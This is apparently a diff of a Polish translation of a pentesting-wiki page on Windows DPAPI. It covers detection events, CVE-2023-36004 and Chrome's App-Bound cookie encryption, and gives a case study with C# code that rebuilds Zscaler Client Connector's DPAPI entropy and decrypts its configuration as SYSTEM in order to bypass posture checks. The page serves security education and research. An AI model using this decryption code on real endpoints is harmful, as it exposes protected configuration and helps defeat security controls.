- Zdarzenie **4662**: *An operation was performed on an object* – można je skorelować z dostępem do obiektu **`BCKUPKEY`**.
|
||||
- Zdarzenie **4673/4674** gdy proces żąda *SeTrustedCredManAccessPrivilege* (Credential Manager)
|
||||
|
||||
---
|
||||
### Luki w latach 2023-2025 i zmiany w ekosystemie
|
||||
### Luki 2023–2025 i zmiany w ekosystemie
|
||||
|
||||
* **CVE-2023-36004 – Oszustwo kanału zabezpieczeń DPAPI w Windows** (listopad 2023). Atakujący z dostępem do sieci mógłby oszukać członka domeny, aby uzyskał złośliwy klucz zapasowy DPAPI, co pozwala na odszyfrowanie masterkeys użytkowników. Poprawione w listopadowej aktualizacji zbiorczej 2023 – administratorzy powinni upewnić się, że DC i stacje robocze są w pełni załatane.
|
||||
* **Szyfrowanie ciasteczek "App-Bound" w Chrome 127** (lipiec 2024) zastąpiło starszą ochronę tylko DPAPI dodatkowym kluczem przechowywanym w **Menadżerze poświadczeń** użytkownika. Offline odszyfrowanie ciasteczek teraz wymaga zarówno masterkey DPAPI, jak i **klucza związane z aplikacją w formacie GCM**. SharpChrome v2.3 i DonPAPI 2.x są w stanie odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika.
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (listopad 2023). Atakujący z dostępem do sieci mógł nakłonić członka domeny do pobrania złośliwego klucza kopii zapasowej DPAPI, co umożliwia odszyfrowanie masterkeyów użytkowników. Załatane w listopadowej aktualizacji kumulacyjnej 2023 — administratorzy powinni upewnić się, że kontrolery domeny (DC) i stacje robocze mają wszystkie poprawki.
|
||||
* **Chrome 127 “App-Bound” cookie encryption** (lipiec 2024) zastąpiło starszą ochronę opartą wyłącznie na DPAPI dodatkowym kluczem przechowywanym w **Credential Manager** użytkownika. Odszyfrowanie ciasteczek offline wymaga teraz zarówno DPAPI masterkey, jak i **GCM-wrapped app-bound key**. SharpChrome v2.3 i DonPAPI 2.x potrafią odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika.
|
||||
|
||||
### Studium przypadku: Zscaler Client Connector – Niestandardowa entropia pochodząca z SID
|
||||
### Studium przypadku: Zscaler Client Connector – niestandardowa entropia pochodząca z SID
|
||||
|
||||
Zscaler Client Connector przechowuje kilka plików konfiguracyjnych w `C:\ProgramData\Zscaler` (np. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Każdy plik jest szyfrowany za pomocą **DPAPI (zakres maszyny)**, ale dostawca dostarcza **niestandardową entropię**, która jest *obliczana w czasie rzeczywistym* zamiast być przechowywana na dysku.
|
||||
Zscaler Client Connector przechowuje kilka plików konfiguracyjnych w `C:\ProgramData\Zscaler` (np. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Każdy plik jest zaszyfrowany przy użyciu **DPAPI (Machine scope)**, ale dostawca dostarcza **niestandardową entropię**, która jest *obliczana w czasie wykonywania* zamiast być zapisana na dysku.
|
||||
|
||||
Entropia jest odbudowywana z dwóch elementów:
|
||||
Entropia jest odtwarzana z dwóch elementów:
|
||||
|
||||
1. Tajny klucz zakodowany w `ZSACredentialProvider.dll`.
|
||||
2. **SID** konta Windows, do którego należy konfiguracja.
|
||||
1. Wbudowany na stałe sekret osadzony w `ZSACredentialProvider.dll`.
|
||||
2. The **SID** of the Windows account the configuration belongs to.
|
||||
|
||||
Algorytm zaimplementowany przez DLL jest równoważny z:
|
||||
Algorytm zaimplementowany przez DLL jest równoważny:
|
||||
```csharp
|
||||
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
|
||||
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
|
||||
@ -322,17 +324,17 @@ byte[] entropy = new byte[tmp.Length / 2];
|
||||
for (int i = 0; i < entropy.Length; i++)
|
||||
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
|
||||
```
|
||||
Ponieważ sekret jest osadzony w DLL, który można odczytać z dysku, **każdy lokalny atakujący z uprawnieniami SYSTEM może ponownie wygenerować entropię dla dowolnego SID** i odszyfrować bloby offline:
|
||||
Ponieważ sekret jest osadzony w DLL, który można odczytać z dysku, **każdy lokalny atakujący z uprawnieniami SYSTEM może zregenerować entropię dla dowolnego SID** i odszyfrować blobs offline:
|
||||
```csharp
|
||||
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
|
||||
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
|
||||
Console.WriteLine(Encoding.UTF8.GetString(clear));
|
||||
```
|
||||
Deszyfrowanie daje pełną konfigurację JSON, w tym każdy **sprawdzanie postawy urządzenia** i jego oczekiwaną wartość – informacje, które są bardzo cenne podczas prób obejścia po stronie klienta.
|
||||
Deszyfrowanie daje pełną konfigurację JSON, w tym każde **sprawdzenie stanu urządzenia** i jego oczekiwaną wartość — informacje bardzo cenne przy próbach obejścia po stronie klienta.
|
||||
|
||||
> TIP: inne zaszyfrowane artefakty (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) są chronione przez DPAPI **bez** entropii (`16` zerowych bajtów). Można je zatem deszyfrować bezpośrednio za pomocą `ProtectedData.Unprotect`, gdy uzyskane zostaną uprawnienia SYSTEM.
|
||||
> Wskazówka: pozostałe zaszyfrowane artefakty (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) są chronione przez DPAPI **bez** entropii (`16` bajtów o wartości 0). Mogą więc zostać odszyfrowane bezpośrednio za pomocą `ProtectedData.Unprotect` po uzyskaniu uprawnień SYSTEM.
|
||||
|
||||
## References
|
||||
## Referencje
|
||||
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user